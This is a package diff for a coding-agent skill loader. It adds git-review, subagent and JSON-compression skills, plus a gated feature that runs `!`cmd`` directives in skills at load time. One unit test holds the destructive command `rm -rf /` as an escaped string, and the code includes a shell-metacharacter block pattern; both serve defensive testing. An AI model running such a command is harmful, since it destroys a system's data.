@xynogen/pix-skills 0.4.6 → 0.4.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +40 -1
- package/package.json +4 -1
- package/skills/command-runner.md +25 -0
- package/skills/diff.md +35 -0
- package/skills/subagent.md +212 -0
- package/skills/toon.md +101 -0
- package/src/directive.ts +95 -0
- package/src/index.test.ts +99 -0
- package/src/index.ts +72 -4
- package/src/once.ts +19 -9
- package/src/run.test.ts +27 -0
- package/src/run.ts +78 -0
package/README.md
CHANGED
|
@@ -7,7 +7,7 @@ Pi coding agent extension — skill loader tool + skills bundle.
|
|
|
7
7
|
| Resource | Type | Description |
|
|
8
8
|
|---|---|---|
|
|
9
9
|
| `read_skills` | tool | Browse and load bundled skills. No args → list all. `name` only → description. `name + full=true` → full instructions. |
|
|
10
|
-
| `skills/` | skills |
|
|
10
|
+
| `skills/` | skills | 28 bundled skills (auto-loaded by pi at startup — names + descriptions in system prompt) |
|
|
11
11
|
|
|
12
12
|
## How it works
|
|
13
13
|
|
|
@@ -33,8 +33,10 @@ All skills are model-invocable — pi auto-loads each one on description match.
|
|
|
33
33
|
| `bootstrap` | Project and tool scaffolding from authoritative docs |
|
|
34
34
|
| `brainstorm` | Design exploration and spec refinement before implementation |
|
|
35
35
|
| `clone` | Clone any git repo into `/tmp/clones` for read-only exploration |
|
|
36
|
+
| `command-runner` | Inspect workspace health using pre-populated git context (status + diff) |
|
|
36
37
|
| `commit` | Split, write, and maintain Conventional-Commit-style commits |
|
|
37
38
|
| `debug` | Root-cause analysis and self-annealing error resolution |
|
|
39
|
+
| `diff` | Review current git changes via pre-populated status + staged/unstaged diffs |
|
|
38
40
|
| `explain` | Technical deconstruction and logic tracing of existing code |
|
|
39
41
|
| `finish` | Structured branch completion — verify, decide, clean up |
|
|
40
42
|
| `graphify` | Codebase questions via a persistent knowledge graph |
|
|
@@ -50,8 +52,45 @@ All skills are model-invocable — pi auto-loads each one on description match.
|
|
|
50
52
|
| `task` | Task orchestration and ambiguity resolution |
|
|
51
53
|
| `test` | Test execution, analysis, and failure resolution via TDD |
|
|
52
54
|
| `tldr` | Maximum-density technical summary, zero filler |
|
|
55
|
+
| `toon` | Handle information-dense JSON with jq + TOON compression |
|
|
53
56
|
| `ui` | UI/UX design and implementation guidance for frontends |
|
|
54
57
|
| `verify` | Verification before completion — confirm it's actually fixed |
|
|
58
|
+
| `subagent` | Plan, decompose, and fan out independent units to cheaper parallel subagent workers |
|
|
59
|
+
|
|
60
|
+
## Command interpolation
|
|
61
|
+
|
|
62
|
+
Skill `.md` files may embed live command output with the `` !`cmd` `` directive.
|
|
63
|
+
When the agent loads a skill with `read_skills(name=<skill>, full=true)`, each
|
|
64
|
+
directive is evaluated and replaced inline with a fenced block holding the
|
|
65
|
+
command's output — so the skill arrives pre-populated with live workspace
|
|
66
|
+
context (e.g. `git status`).
|
|
67
|
+
|
|
68
|
+
```markdown
|
|
69
|
+
### Working tree status
|
|
70
|
+
!`git status -s`
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Security — pix-gate is the policy (no prompt)
|
|
74
|
+
|
|
75
|
+
Directive commands are gated by the **same rule engine** as the `bash` tool
|
|
76
|
+
(`@xynogen/pix-gate`), but with **no confirmation dialog**:
|
|
77
|
+
|
|
78
|
+
- **Auto-deny on any rule match.** If a command matches any pix-gate rule
|
|
79
|
+
(critical / dangerous / risky), it is **not run** — the directive is replaced
|
|
80
|
+
with an inline `[blocked: <severity> — <reason>]` marker so the skill author
|
|
81
|
+
can see and fix it.
|
|
82
|
+
- **Shell-free execution.** Commands run via a direct `argv` spawn (never
|
|
83
|
+
`bash -c`). Any shell metacharacter (`; | & $ \` > < ( ) { }`, newline) is
|
|
84
|
+
rejected, so a clean-looking prefix can't smuggle a chained command.
|
|
85
|
+
- **Bounded.** Per-command 10s timeout and 16 KB output cap; failures never
|
|
86
|
+
throw — they inline a marker so skill loading always completes.
|
|
87
|
+
- **Escape.** `` \!`cmd` `` is left literal, so docs can show the syntax without
|
|
88
|
+
running it.
|
|
89
|
+
- **Single source of truth.** Expanding pix-gate's rule table or a user's
|
|
90
|
+
`~/.pi/agent/pix-gate.json` automatically tightens the skill path too.
|
|
91
|
+
|
|
92
|
+
Interpolation only happens on the `full=true` path; listing and description
|
|
93
|
+
lookups never run commands.
|
|
55
94
|
|
|
56
95
|
## Usage
|
|
57
96
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@xynogen/pix-skills",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.9",
|
|
4
4
|
"description": "Pi extension — agent skill loader (skill tool + skills bundle)",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "src/index.ts",
|
|
@@ -44,5 +44,8 @@
|
|
|
44
44
|
"peerDependencies": {
|
|
45
45
|
"@earendil-works/pi-coding-agent": "*",
|
|
46
46
|
"@earendil-works/pi-tui": "*"
|
|
47
|
+
},
|
|
48
|
+
"dependencies": {
|
|
49
|
+
"@xynogen/pix-gate": "*"
|
|
47
50
|
}
|
|
48
51
|
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: command-runner
|
|
3
|
+
description: Inspect workspace health using pre-populated git context (status + diff).
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Command Runner Skill
|
|
7
|
+
|
|
8
|
+
## Pre-Populated Git Context
|
|
9
|
+
|
|
10
|
+
The blocks below are populated with live repository state at skill-load time
|
|
11
|
+
via `\!`cmd`` directives — read them before acting.
|
|
12
|
+
|
|
13
|
+
### Working tree status
|
|
14
|
+
|
|
15
|
+
!`git status -s`
|
|
16
|
+
|
|
17
|
+
### Active diff
|
|
18
|
+
|
|
19
|
+
!`git diff HEAD`
|
|
20
|
+
|
|
21
|
+
## Instructions
|
|
22
|
+
|
|
23
|
+
1. Analyze the pre-populated status and diff above.
|
|
24
|
+
2. If unstaged files appear, ask the user before staging.
|
|
25
|
+
3. Only proceed with automations if the tree is clean or the user overrides.
|
package/skills/diff.md
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: diff
|
|
3
|
+
description: Review the current git changes using pre-populated status, staged, and unstaged diffs.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Diff Review Skill
|
|
7
|
+
|
|
8
|
+
## Pre-Populated Git Context
|
|
9
|
+
|
|
10
|
+
The blocks below are filled with live repository state at skill-load time via
|
|
11
|
+
`\!`cmd`` directives — read them before responding.
|
|
12
|
+
|
|
13
|
+
### Branch + short status
|
|
14
|
+
|
|
15
|
+
!`git status -sb`
|
|
16
|
+
|
|
17
|
+
### Staged changes (index vs HEAD)
|
|
18
|
+
|
|
19
|
+
!`git diff --cached --stat`
|
|
20
|
+
|
|
21
|
+
!`git diff --cached`
|
|
22
|
+
|
|
23
|
+
### Unstaged changes (working tree vs index)
|
|
24
|
+
|
|
25
|
+
!`git diff --stat`
|
|
26
|
+
|
|
27
|
+
!`git diff`
|
|
28
|
+
|
|
29
|
+
## Instructions
|
|
30
|
+
|
|
31
|
+
1. Summarize what changed: files touched, and the intent of each change.
|
|
32
|
+
2. Flag bugs, logic errors, security issues, and missing error handling.
|
|
33
|
+
3. Call out anything out of scope for the apparent goal of the change.
|
|
34
|
+
4. If nothing is staged and the working tree is clean, say so — there is
|
|
35
|
+
nothing to review.
|
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: subagent
|
|
3
|
+
description: Plan a task, break it into small independent units, and fan them out in parallel to cheaper/less-capable subagent models for faster, cheaper, more efficient execution. Use when a task is large enough to split into parts that do not depend on each other and a strong model is overkill for each part.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Parallel Delegate
|
|
7
|
+
|
|
8
|
+
Plan first, decompose into small independent units, then fan those units out to
|
|
9
|
+
**cheaper** subagent models running **in parallel**. A capable orchestrator (you)
|
|
10
|
+
keeps the plan, the decisions, and the final integration. Cheap workers do the
|
|
11
|
+
bulk grunt work concurrently. Net effect: faster wall-clock, lower cost, less of
|
|
12
|
+
the expensive model's tokens spent on mechanical work.
|
|
13
|
+
|
|
14
|
+
This skill is for the **parent orchestrator only**. Children receive concrete,
|
|
15
|
+
self-contained tasks — they do not plan, do not decompose further, and do not
|
|
16
|
+
launch their own subagents.
|
|
17
|
+
|
|
18
|
+
## When to use
|
|
19
|
+
|
|
20
|
+
Use when **all** of these hold:
|
|
21
|
+
|
|
22
|
+
- The task splits into **2+ units that do not depend on each other** (no unit
|
|
23
|
+
needs another unit's output mid-flight).
|
|
24
|
+
- Each unit is **mechanical enough** that a smaller model can do it reliably
|
|
25
|
+
given a precise spec (boilerplate, repetitive edits across files, test
|
|
26
|
+
scaffolding, format conversions, doc stubs, per-module refactors).
|
|
27
|
+
- The shared decisions (architecture, contracts, naming) can be **fixed up
|
|
28
|
+
front** by the orchestrator so workers don't have to make them.
|
|
29
|
+
|
|
30
|
+
Do **not** use when:
|
|
31
|
+
|
|
32
|
+
- Units share a write target (same file/region) — that needs a single writer,
|
|
33
|
+
not a swarm. Use the single-writer pattern or `worktree: true`.
|
|
34
|
+
- The work is genuinely hard reasoning end-to-end — a cheap model will produce
|
|
35
|
+
slop you pay to fix.
|
|
36
|
+
- The pieces are tightly coupled and must be done in sequence — use a chain.
|
|
37
|
+
|
|
38
|
+
## The flow
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
1. PLAN → decide architecture, contracts, naming, acceptance up front
|
|
42
|
+
2. DECOMPOSE → split into N independent, fully-specified units
|
|
43
|
+
3. FAN OUT → subagent({ tasks:[...], concurrency }) with a cheap model per task
|
|
44
|
+
4. INTEGRATE → orchestrator wires units together, resolves seams, runs the gate
|
|
45
|
+
5. VERIFY → lint + typecheck + tests; fix seams the cheap workers couldn't
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### 1. Plan
|
|
49
|
+
|
|
50
|
+
For simple/medium tasks, plan inline using the `plan` skill's discipline: fix the
|
|
51
|
+
exact file paths, the shared contracts (types, function signatures, interfaces),
|
|
52
|
+
the naming, and the acceptance criteria **before** splitting. The whole point is
|
|
53
|
+
that workers inherit decisions instead of inventing them.
|
|
54
|
+
|
|
55
|
+
For large/complex tasks, delegate planning to the builtin `planner` first, get
|
|
56
|
+
the plan, then decompose it:
|
|
57
|
+
|
|
58
|
+
```typescript
|
|
59
|
+
subagent({ agent: "planner", task: "Plan: <task>. Emphasize independent, parallelizable units." })
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### 2. Decompose
|
|
63
|
+
|
|
64
|
+
Split the plan into units that satisfy the independence test:
|
|
65
|
+
|
|
66
|
+
- **No cross-unit dependency** — a unit must be completable with only the spec
|
|
67
|
+
the orchestrator hands it, never another running unit's output.
|
|
68
|
+
- **No shared write target** — two units must not edit the same file/region.
|
|
69
|
+
- **Self-contained spec** — each unit's task string carries everything: exact
|
|
70
|
+
paths, the shared contract it must conform to, the expected output shape, and
|
|
71
|
+
how to validate locally.
|
|
72
|
+
|
|
73
|
+
If a unit fails the test, either merge it back, sequence it (chain), or keep it
|
|
74
|
+
on the orchestrator.
|
|
75
|
+
|
|
76
|
+
### 3. Fan out to cheap models
|
|
77
|
+
|
|
78
|
+
Use top-level parallel tasks with a per-task `model` override pointing at a
|
|
79
|
+
cheaper/smaller model.
|
|
80
|
+
|
|
81
|
+
**Resolve the cheap model at call time — never hardcode it.** The active model is
|
|
82
|
+
dynamic: the user can switch it mid-chat, and the orchestrator's own model is
|
|
83
|
+
whatever is current. So before fanning out:
|
|
84
|
+
|
|
85
|
+
1. If the user named a cheap model for the workers, use that.
|
|
86
|
+
2. Otherwise pick a cheaper sibling of the **current** model (smaller/mini/flash
|
|
87
|
+
tier of the same or a comparable provider).
|
|
88
|
+
3. If no clearly-cheaper option is obvious, **ask** which model to delegate to
|
|
89
|
+
rather than guessing — the wrong pick wastes the run.
|
|
90
|
+
|
|
91
|
+
The per-task `model` override is the right mechanism precisely because the main
|
|
92
|
+
model can change: the override pins each worker to the chosen cheap model
|
|
93
|
+
regardless of what the orchestrator is running at that moment. Examples below use
|
|
94
|
+
`<cheap-model>` as a placeholder — substitute the resolved model.
|
|
95
|
+
|
|
96
|
+
```typescript
|
|
97
|
+
subagent({
|
|
98
|
+
tasks: [
|
|
99
|
+
{ agent: "worker", model: "<cheap-model>", task: "<full self-contained spec for unit A>", output: "units/a.md", outputMode: "file-only" },
|
|
100
|
+
{ agent: "worker", model: "<cheap-model>", task: "<full self-contained spec for unit B>", output: "units/b.md", outputMode: "file-only" },
|
|
101
|
+
{ agent: "worker", model: "<cheap-model>", task: "<full self-contained spec for unit C>", output: "units/c.md", outputMode: "file-only" }
|
|
102
|
+
],
|
|
103
|
+
concurrency: 3,
|
|
104
|
+
async: true
|
|
105
|
+
})
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
Rules for the fan-out:
|
|
109
|
+
|
|
110
|
+
- **One cheap model per task** via `model`. Keep the orchestrator on the strong
|
|
111
|
+
model; only the workers get downgraded.
|
|
112
|
+
- **`concurrency`** caps how many run at once. Default 3–4; raise it for many
|
|
113
|
+
tiny units, lower it if the units are heavy.
|
|
114
|
+
- **`async: true`** so the main chat stays unblocked. While workers run, the
|
|
115
|
+
orchestrator does integration prep, not parallel edits to the same files.
|
|
116
|
+
- **Distinct `output` paths** — concurrent children must never write the same
|
|
117
|
+
file. Use `outputMode: "file-only"` for large outputs so the parent result
|
|
118
|
+
stays compact.
|
|
119
|
+
- **No shared worktree writes.** If units genuinely must edit the repo
|
|
120
|
+
concurrently, isolate each with `worktree: true` instead of letting them
|
|
121
|
+
collide.
|
|
122
|
+
|
|
123
|
+
#### Cheap-worker prompt contract
|
|
124
|
+
|
|
125
|
+
Because the worker is less capable, the spec must be **tighter**, not looser.
|
|
126
|
+
Each task string should carry:
|
|
127
|
+
|
|
128
|
+
- **Goal** — the one concrete artifact this unit produces.
|
|
129
|
+
- **Contract** — the exact types/signatures/paths it must conform to (copied in,
|
|
130
|
+
not referenced from parent history — children don't see it).
|
|
131
|
+
- **Constraints** — what not to touch; "edit only `<paths>`"; no scope creep.
|
|
132
|
+
- **Validation** — the local check to run and the expected result.
|
|
133
|
+
- **Output** — the exact shape to return (file written, summary format).
|
|
134
|
+
|
|
135
|
+
Add structured `acceptance` for write units so the runtime runs a bounded
|
|
136
|
+
self-check before reporting done:
|
|
137
|
+
|
|
138
|
+
```typescript
|
|
139
|
+
{
|
|
140
|
+
agent: "worker",
|
|
141
|
+
model: "<cheap-model>",
|
|
142
|
+
task: "<full spec>",
|
|
143
|
+
acceptance: {
|
|
144
|
+
criteria: ["Conforms to the given contract", "Edits only the named files", "Local check passes"],
|
|
145
|
+
evidence: ["changed-files", "validation-output"],
|
|
146
|
+
verify: [{ id: "check", command: "<targeted test/lint command>" }],
|
|
147
|
+
stopRules: ["Do not edit files outside the named paths", "Stop and report if the contract is ambiguous"],
|
|
148
|
+
maxFinalizationTurns: 2
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### 4. Integrate
|
|
154
|
+
|
|
155
|
+
When the workers finish, the **orchestrator** (strong model) does the joins that
|
|
156
|
+
cheap models are bad at: reconciling seams between units, fixing contract drift,
|
|
157
|
+
wiring the pieces into the whole, and removing any slop. This is where the
|
|
158
|
+
expensive model earns its cost — on the 10% that's hard, not the 90% that's
|
|
159
|
+
mechanical.
|
|
160
|
+
|
|
161
|
+
If a worker produced something off-contract, prefer to fix it inline rather than
|
|
162
|
+
re-spawning, unless the miss is large and clean to redo.
|
|
163
|
+
|
|
164
|
+
### 5. Verify
|
|
165
|
+
|
|
166
|
+
Run the repo's quality gate on the integrated result — never trust the sum of
|
|
167
|
+
green per-unit checks to mean the whole is green:
|
|
168
|
+
|
|
169
|
+
```
|
|
170
|
+
lint → typecheck → tests
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
Fix the cross-unit failures (the seams) yourself. A unit passing in isolation
|
|
174
|
+
does not mean it composes correctly.
|
|
175
|
+
|
|
176
|
+
## Worked shape: repetitive edit across modules
|
|
177
|
+
|
|
178
|
+
Task: "Add the same new field + validation to 6 independent API handlers."
|
|
179
|
+
|
|
180
|
+
1. **Plan** — fix the field name, type, validation rule, and error message once.
|
|
181
|
+
2. **Decompose** — 6 units, one per handler file, each fully independent.
|
|
182
|
+
3. **Fan out** — 6 `worker` tasks at a cheap model, `concurrency: 4`, each told
|
|
183
|
+
the exact field/type/rule and "edit only `handlers/<name>.ts`".
|
|
184
|
+
4. **Integrate** — orchestrator checks the shared validation helper is consistent
|
|
185
|
+
across all 6, dedupes if they each inlined it.
|
|
186
|
+
5. **Verify** — full test suite; fix any handler that drifted from the contract.
|
|
187
|
+
|
|
188
|
+
## Cost / efficiency notes
|
|
189
|
+
|
|
190
|
+
- The win is **decomposition quality**, not raw parallelism. Bad splits create
|
|
191
|
+
coupling that the orchestrator pays to untangle, erasing the savings.
|
|
192
|
+
- Cheap models need **more spec, less latitude**. The orchestrator spends its
|
|
193
|
+
tokens on a precise plan once, then amortizes it across N cheap runs.
|
|
194
|
+
- Parallelism cuts **wall-clock**; cheap models cut **cost**. You get both only
|
|
195
|
+
when units are truly independent and truly mechanical.
|
|
196
|
+
- If you find yourself re-spawning workers to fix their output repeatedly, the
|
|
197
|
+
unit was too hard for the cheap model — pull it back to the orchestrator or a
|
|
198
|
+
capable `worker`.
|
|
199
|
+
|
|
200
|
+
## Constraints
|
|
201
|
+
|
|
202
|
+
- **Parent owns orchestration.** Children get concrete tasks; they do not plan,
|
|
203
|
+
decompose, or spawn subagents.
|
|
204
|
+
- **Single writer per target.** Independent files or isolated worktrees only —
|
|
205
|
+
never concurrent writes to the same region.
|
|
206
|
+
- **Self-contained specs.** Children don't inherit parent history; copy every
|
|
207
|
+
contract detail into the task string.
|
|
208
|
+
- **Strong model integrates and verifies.** Cheap models do bulk units; the
|
|
209
|
+
orchestrator owns the seams and the final gate.
|
|
210
|
+
- **Resolve the worker model at call time.** The active model can change
|
|
211
|
+
mid-chat; pick the cheap model per fan-out via the per-task `model` override,
|
|
212
|
+
never a hardcoded default. Ask if no clearly-cheaper option is obvious.
|
package/skills/toon.md
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: toon
|
|
3
|
+
description: Manipulate information-dense JSON efficiently with jq + TOON. Use when fetching/reading large or repetitive JSON (LLM schemas, OpenAPI specs, API responses, datasets, config dumps) into context. Query/reshape with jq, compress to TOON to cut tokens, decode back to JSON only when a strict contract needs it.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# TOON + jq: Dense JSON Workflow
|
|
7
|
+
|
|
8
|
+
## Goal
|
|
9
|
+
Carry only the JSON slice you need, in the cheapest encoding. Query with `jq`,
|
|
10
|
+
compress with `toon`, and round-trip back to JSON **only** when a contract
|
|
11
|
+
requires strict JSON.
|
|
12
|
+
|
|
13
|
+
TOON (Token-Oriented Object Notation, https://github.com/toon-format/spec) is a
|
|
14
|
+
line-oriented encoding of the JSON data model. Uniform arrays of objects declare
|
|
15
|
+
their keys once and stream bare rows, so token cost drops sharply on tabular and
|
|
16
|
+
dense data.
|
|
17
|
+
|
|
18
|
+
## The pipeline
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
# Fetch → reshape → compress (most common)
|
|
22
|
+
curl -s https://api.example.com/models | jq '.data' | toon
|
|
23
|
+
|
|
24
|
+
# Local file, show token savings
|
|
25
|
+
cat openapi.json | jq '.paths' | toon --stats
|
|
26
|
+
|
|
27
|
+
# Just compress, no query
|
|
28
|
+
cat data.json | toon
|
|
29
|
+
|
|
30
|
+
# Convert TOON back to JSON (strict contract / downstream parser)
|
|
31
|
+
echo "$TOON_BLOB" | toon -d
|
|
32
|
+
cat data.toon | toon --decode
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
`toon` auto-detects direction from input. Force it with `-e` (encode JSON→TOON)
|
|
36
|
+
or `-d` (decode TOON→JSON).
|
|
37
|
+
|
|
38
|
+
### Useful flags
|
|
39
|
+
- `--stats` — print token/byte statistics for the conversion
|
|
40
|
+
- `--delimiter=,|\t|"|"` — array delimiter (comma default; tab/pipe can tokenize better)
|
|
41
|
+
- `--keyFolding=safe` — collapse single-key nesting chains
|
|
42
|
+
- `--no-strict` — lenient decode
|
|
43
|
+
|
|
44
|
+
## Decide before you compress
|
|
45
|
+
|
|
46
|
+
TOON is not always smaller. Pick based on shape:
|
|
47
|
+
|
|
48
|
+
| Shape | Action | Why |
|
|
49
|
+
|---|---|---|
|
|
50
|
+
| Uniform array of objects (same keys, primitive values) | **TOON** | Sweet spot — keys declared once, rows streamed; savings scale with rows × fields |
|
|
51
|
+
| Flat object / primitive array | **TOON** | Drops quotes and braces |
|
|
52
|
+
| Shallow nesting | **TOON** | Indentation cheaper than braces at low depth |
|
|
53
|
+
| Deeply nested / non-uniform | **JSON** | Indentation cost grows; compact JSON can win |
|
|
54
|
+
| Array of arrays | **JSON** | TOON's one structurally-worse case (explicit list markers + inner headers) |
|
|
55
|
+
| API contract / payload to send or store | **JSON** | Must stay valid JSON for the consumer |
|
|
56
|
+
|
|
57
|
+
Rule of thumb: **TOON for reading dense data into context. JSON for contracts.**
|
|
58
|
+
|
|
59
|
+
## When NOT to use TOON
|
|
60
|
+
- Anything sent to or stored by an API that expects JSON.
|
|
61
|
+
- Data a downstream tool/parser must consume as strict JSON.
|
|
62
|
+
- Deeply nested config trees or highly irregular structures.
|
|
63
|
+
- Tiny payloads where the conversion overhead isn't worth it.
|
|
64
|
+
|
|
65
|
+
In those cases, still use `jq` to slice down to what you need — just skip the
|
|
66
|
+
`| toon` step.
|
|
67
|
+
|
|
68
|
+
## Worked examples
|
|
69
|
+
|
|
70
|
+
LLM model list (uniform array → great TOON candidate):
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
curl -s https://api.example.com/v1/models | jq '.data | map({id, owned_by, context})' | toon
|
|
74
|
+
```
|
|
75
|
+
```
|
|
76
|
+
[3]{id,owned_by,context}:
|
|
77
|
+
gpt-x,acme,128000
|
|
78
|
+
gpt-y,acme,200000
|
|
79
|
+
gpt-z,acme,1000000
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
OpenAPI paths summary (reshape first, then compress):
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
cat openapi.json \
|
|
86
|
+
| jq '[.paths | to_entries[] | {path: .key, methods: (.value | keys)}]' \
|
|
87
|
+
| toon --stats
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Round-trip back to JSON for an API call:
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
RESHAPED=$(cat payload.toon | toon -d)
|
|
94
|
+
curl -s -X POST https://api.example.com/ingest -d "$RESHAPED"
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
## Checklist
|
|
98
|
+
1. **Query** — narrow with `jq` to the exact slice needed.
|
|
99
|
+
2. **Decide** — uniform/tabular/shallow → TOON; nested/array-of-arrays/contract → JSON.
|
|
100
|
+
3. **Compress** — `| toon` (add `--stats` to confirm savings).
|
|
101
|
+
4. **Round-trip** — `toon -d` only when strict JSON is required downstream.
|
package/src/directive.ts
ADDED
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure directive logic for skill command interpolation — no pi-tui / runtime
|
|
3
|
+
* deps, so it can be imported by both the skill loader (index.ts) and the
|
|
4
|
+
* startup safety check in pix-welcome.
|
|
5
|
+
*
|
|
6
|
+
* A `!`cmd`` directive embeds live command output into a skill at load time.
|
|
7
|
+
* Safety policy (shared with the bash gate via @xynogen/pix-gate):
|
|
8
|
+
* - shell metacharacters → unsafe (chaining/expansion)
|
|
9
|
+
* - matches any pix-gate rule (critical/dangerous/risky) → unsafe
|
|
10
|
+
* - otherwise → safe to run
|
|
11
|
+
*/
|
|
12
|
+
|
|
13
|
+
import { buildRules, classify, loadUserConfig } from "@xynogen/pix-gate/lib";
|
|
14
|
+
|
|
15
|
+
export interface CommandDirective {
|
|
16
|
+
start: number;
|
|
17
|
+
end: number;
|
|
18
|
+
command: string;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// !`...` not preceded by a backslash; command is single-line, no backticks.
|
|
22
|
+
const DIRECTIVE_RE = /(^|[^\\])!`([^`\n]+)`/g;
|
|
23
|
+
|
|
24
|
+
/** Locate all !`cmd` directives with their source spans (escaped \!`…` skipped). */
|
|
25
|
+
export function findCommandDirectives(content: string): CommandDirective[] {
|
|
26
|
+
const hits: CommandDirective[] = [];
|
|
27
|
+
for (const m of content.matchAll(DIRECTIVE_RE)) {
|
|
28
|
+
const lead = m[1] ?? "";
|
|
29
|
+
const start = (m.index ?? 0) + lead.length; // skip the captured lead char
|
|
30
|
+
hits.push({
|
|
31
|
+
start,
|
|
32
|
+
end: start + m[0].length - lead.length,
|
|
33
|
+
command: m[2]!.trim(),
|
|
34
|
+
});
|
|
35
|
+
}
|
|
36
|
+
return hits;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/** Replace the [start, end) slice of `s` with `text`. */
|
|
40
|
+
export function replaceSpan(
|
|
41
|
+
s: string,
|
|
42
|
+
start: number,
|
|
43
|
+
end: number,
|
|
44
|
+
text: string,
|
|
45
|
+
): string {
|
|
46
|
+
return s.slice(0, start) + text + s.slice(end);
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const SHELL_META_RE = /[;|&$`><(){}\n]/;
|
|
50
|
+
|
|
51
|
+
/** True when the command contains shell metacharacters (chaining/expansion). */
|
|
52
|
+
export function hasShellMeta(command: string): boolean {
|
|
53
|
+
return SHELL_META_RE.test(command);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/** Minimal argv tokenizer: whitespace-split with single/double quote support. */
|
|
57
|
+
export function tokenizeCommand(command: string): string[] {
|
|
58
|
+
const out: string[] = [];
|
|
59
|
+
const re = /"([^"]*)"|'([^']*)'|(\S+)/g;
|
|
60
|
+
for (const m of command.matchAll(re)) {
|
|
61
|
+
out.push(m[1] ?? m[2] ?? m[3] ?? "");
|
|
62
|
+
}
|
|
63
|
+
return out;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// Built once per process — same rules + user pix-gate.json the bash gate uses.
|
|
67
|
+
const gateRules = buildRules(loadUserConfig()).rules;
|
|
68
|
+
|
|
69
|
+
/**
|
|
70
|
+
* Classify a single directive command against the safety policy.
|
|
71
|
+
* Returns a reason string when the command is UNSAFE, or null when safe.
|
|
72
|
+
*/
|
|
73
|
+
export function directiveBlockReason(command: string): string | null {
|
|
74
|
+
if (hasShellMeta(command)) {
|
|
75
|
+
return "shell metacharacters not allowed in skill commands";
|
|
76
|
+
}
|
|
77
|
+
const hit = classify(command, gateRules);
|
|
78
|
+
if (hit) return `${hit.severity} — ${hit.reason}`;
|
|
79
|
+
return null;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
export interface UnsafeDirective {
|
|
83
|
+
command: string;
|
|
84
|
+
reason: string;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/** Return every unsafe directive found in a skill's content. */
|
|
88
|
+
export function scanUnsafeDirectives(content: string): UnsafeDirective[] {
|
|
89
|
+
const unsafe: UnsafeDirective[] = [];
|
|
90
|
+
for (const d of findCommandDirectives(content)) {
|
|
91
|
+
const reason = directiveBlockReason(d.command);
|
|
92
|
+
if (reason) unsafe.push({ command: d.command, reason });
|
|
93
|
+
}
|
|
94
|
+
return unsafe;
|
|
95
|
+
}
|
package/src/index.test.ts
CHANGED
|
@@ -3,8 +3,13 @@ import { describe, expect, it } from "bun:test";
|
|
|
3
3
|
import {
|
|
4
4
|
extractDescription,
|
|
5
5
|
extractName,
|
|
6
|
+
findCommandDirectives,
|
|
6
7
|
formatSkillSummary,
|
|
8
|
+
hasShellMeta,
|
|
9
|
+
interpolateSkill,
|
|
10
|
+
replaceSpan,
|
|
7
11
|
type ThemeLike,
|
|
12
|
+
tokenizeCommand,
|
|
8
13
|
} from "./index.ts";
|
|
9
14
|
|
|
10
15
|
// Stub theme tags fragments so assertions verify which color/bold applied
|
|
@@ -88,3 +93,97 @@ describe("formatSkillSummary", () => {
|
|
|
88
93
|
expect(out).toBe("[muted]Available skills (3):[/]");
|
|
89
94
|
});
|
|
90
95
|
});
|
|
96
|
+
|
|
97
|
+
describe("findCommandDirectives", () => {
|
|
98
|
+
it("matches !`cmd` with source span", () => {
|
|
99
|
+
const md = "x\n!`git status -s`\ny";
|
|
100
|
+
const hits = findCommandDirectives(md);
|
|
101
|
+
expect(hits).toHaveLength(1);
|
|
102
|
+
expect(hits[0]!.command).toBe("git status -s");
|
|
103
|
+
expect(md.slice(hits[0]!.start, hits[0]!.end)).toBe("!`git status -s`");
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it("ignores plain inline code `cmd`", () => {
|
|
107
|
+
expect(findCommandDirectives("use `git status`")).toEqual([]);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it("ignores escaped \\!`cmd`", () => {
|
|
111
|
+
expect(findCommandDirectives("\\!`rm -rf /`")).toEqual([]);
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
it("finds multiple", () => {
|
|
115
|
+
expect(
|
|
116
|
+
findCommandDirectives("!`pwd` !`git diff`").map((d) => d.command),
|
|
117
|
+
).toEqual(["pwd", "git diff"]);
|
|
118
|
+
});
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
